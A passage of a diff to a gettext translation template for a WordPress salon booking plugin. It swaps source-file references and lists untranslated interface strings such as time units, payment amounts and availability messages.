build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:28, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:186, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:362, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:186, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:362, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:186, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:362, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:30\n-msgid \"day\"\n-msgid_plural \"days\"\n-msgstr[0] \"\"\n-msgstr[1] \"\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:104\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:104\n+msgid \"always\"\n+msgstr \"\"\n \n-#: src\u002FSLN\u002FFunc.php:187, src\u002FSLN\u002FFunc.php:188, src\u002FSLN\u002FFunc.php:189, views\u002Fsettings\u002Ftab_general.php:363, views\u002Fsettings\u002Ftab_general.php:364, views\u002Fsettings\u002Ftab_general.php:365, views\u002Fsettings\u002Ftab_general.php:366, views\u002Fsettings\u002F_tab_booking_rescheduling.php:29, src\u002FSLN\u002FWrapper\u002FBooking.php:642, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:187, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:188, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:189, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:363, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:364, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:365, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:366, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:29, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:642, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:187, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:188, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:189, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:363, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:364, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:365, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:366, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:187, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:188, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:189, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:363, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:364, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:365, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:366, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:187, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:188, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:189, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:363, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:364, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:365, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:366, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:187, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:188, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:189, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:363, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:364, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:365, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:366, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:29, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:642, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:630, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:630, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:642\n-msgid \"days\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:200\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:200\n+msgid \"Always apply ( default )\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FFunc.php:190, views\u002Fsettings\u002Ftab_general.php:367, views\u002Fsettings\u002F_tab_booking_rescheduling.php:31, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:190, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:367, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:31, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:190, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:367, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:190, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:367, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:190, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:367, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:190, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:367, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:31\n-msgid \"week\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:208\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:208\n+msgid \"Always valid ( default )\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FFunc.php:191, src\u002FSLN\u002FFunc.php:192, views\u002Fsettings\u002Ftab_general.php:368, views\u002Fsettings\u002Ftab_general.php:369, views\u002Fsettings\u002F_tab_booking_rescheduling.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:191, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:192, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:368, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:369, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:191, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:192, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:368, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:369, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:191, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:368, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:369, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:191, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:368, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:369, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:191, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:368, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:369, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:32\n-msgid \"weeks\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:76\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:214\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:276\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:653\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:117\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:76\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:214\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:276\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:653\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:117\n+msgid \"Amount\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FFunc.php:193, views\u002Fsettings\u002Ftab_general.php:370, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:193, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:370, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:193, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:370, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:193, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:370, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:193, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:370, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:193, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:370\n-msgid \"month\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:111\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:111\n+msgid \"Amount of reservations\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FFunc.php:194, src\u002FSLN\u002FFunc.php:195, src\u002FSLN\u002FFunc.php:196, views\u002Fsettings\u002Ftab_general.php:371, views\u002Fsettings\u002Ftab_general.php:372, views\u002Fsettings\u002Ftab_general.php:373, views\u002Fsettings\u002Ftab_general.php:374, views\u002Fsettings\u002Ftab_general.php:375, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:194, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:195, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:196, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:371, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:372, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:373, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:374, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:375, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:194, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:195, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:196, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:371, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:372, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:373, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:374, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:375, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:194, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:195, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:196, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:371, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:372, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:373, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:374, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:375, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:194, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:195, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:196, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:371, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:372, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:373, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:374, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:375, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:194, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:195, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:196, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:371, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:372, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:373, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:374, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:375\n-msgid \"months\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:682\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:682\n+msgid \"Amount to be paid\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FFunc.php:197, src\u002FSLN\u002FFunc.php:198, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:197, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFunc.php:198, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:197, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:198, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:197, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FFunc.php:198, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:197, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FFunc.php:198, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:197, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FFunc.php:198\n-msgid \"years\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:21\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:21\n+msgid \"Amount to be paid in advance\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:280, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:280, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:280, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:280, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:280\n-msgid \"Notification from\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_details.php:61\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_details.php:61\n+msgid \"An account will be automatically created\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:277, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:277, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:277, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:277, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:277\n-msgid \"How was your experience?\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:858\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:858\n+msgid \"An assistant for selected services can't perform this service\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:278, 